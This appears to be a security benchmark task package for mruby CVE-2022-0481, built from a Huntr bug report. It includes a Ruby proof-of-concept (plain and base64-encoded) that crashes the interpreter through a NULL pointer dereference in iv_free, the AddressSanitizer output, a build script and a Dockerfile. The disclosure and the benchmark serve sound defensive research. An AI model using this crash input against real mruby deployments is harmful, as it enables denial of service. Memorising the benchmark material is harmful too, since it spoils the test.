Project: mruby (mruby/mruby), language: c++
Vulnerability instance: mruby.cve-2022-0481
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/54725c8c-87f4-41b6-878c-01d8e0ee7027
## Description:
Description
There is a NULL Pointer Dereference in iv_free (src/variable.c:232:20). This bug has been found on mruby lastest commit (hash 00f2b74ab2c1f03084908c815dcd0934f9fc702a) on Ubuntu 20.04 for x86_64/amd64.
Proof of Concept
3.times{e=0,"#{* =c={}
[y:0,**0]
0}"}
Steps to reproduce
1- Clone repo and build with ASAN using MRUBY_CONFIG=build_config/clang-asan.rb rake 2- Use mruby to execute the poc:
$ echo -ne "My50aW1lc3tlPTAsIiN7KiA9Yz17fQpbeTowLCoqMF0KMH0ifQ==" | base64 -d > poc
$ mruby poc
/home/faraday/mruby/src/variable.c:232:20: runtime error: member access within misaligned address 0x000000000001 for type 'iv_tbl' (aka 'struct iv_tbl'), which requires 8 byte alignment
0x000000000001: note: pointer points here
<memory cannot be printed>
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/faraday/mruby/src/variable.c:232:20 in 
/home/faraday/mruby/src/variable.c:232:20: runtime error: load of misaligned address 0x000000000009 for type 'mrb_value *' (aka 'struct mrb_value *'), which requires 8 byte alignment
0x000000000009: note: pointer points here
<memory cannot be printed>
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/faraday/mruby/src/variable.c:232:20 in 
AddressSanitizer:DEADLYSIGNAL
=================================================================
==77626==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000009 (pc 0x0000007e9575 bp 0x62f000017fb8 sp 0x7fff1e800280 T0)
==77626==The signal is caused by a READ memory access.
==77626==Hint: address points to the zero page.
    #0 0x7e9574 in iv_free /home/faraday/mruby/src/variable.c:232:20
    #1 0x7e9574 in mrb_gc_free_iv /home/faraday/mruby/src/variable.c:278:5
    #2 0x5efb1a in obj_free /home/faraday/mruby/src/gc.c:856:5
    #3 0x5e26a5 in free_heap /home/faraday/mruby/src/gc.c:433:9
    #4 0x5e26a5 in mrb_gc_destroy /home/faraday/mruby/src/gc.c:442:3
    #5 0x63e1de in mrb_close /home/faraday/mruby/src/state.c:195:3
    #6 0x4cb74a in main /home/faraday/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c
    #7 0x7fbe060530b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #8 0x41f89d in _start (/home/faraday/mruby/build/host/bin/mruby+0x41f89d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/faraday/mruby/src/variable.c:232:20 in iv_free
==77626==ABORTING
Running the same script with a release build (without asan) results in a segfault due to the invalid dereference.
Impact
This vulnerability is capable of making the mruby interpreter crash, thus affecting the availability of the system.
Acknowledgements
This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

Relevant Links:
https://github.com/mruby/mruby

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd $SRC/mruby
export LD=$CC
export LDFLAGS="$CFLAGS"
rake -m

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout 8d06e79c578a3b24c45ae4881c5122b73b3bff59
WORKDIR $SRC/mruby
COPY build.sh $SRC/

Additional files: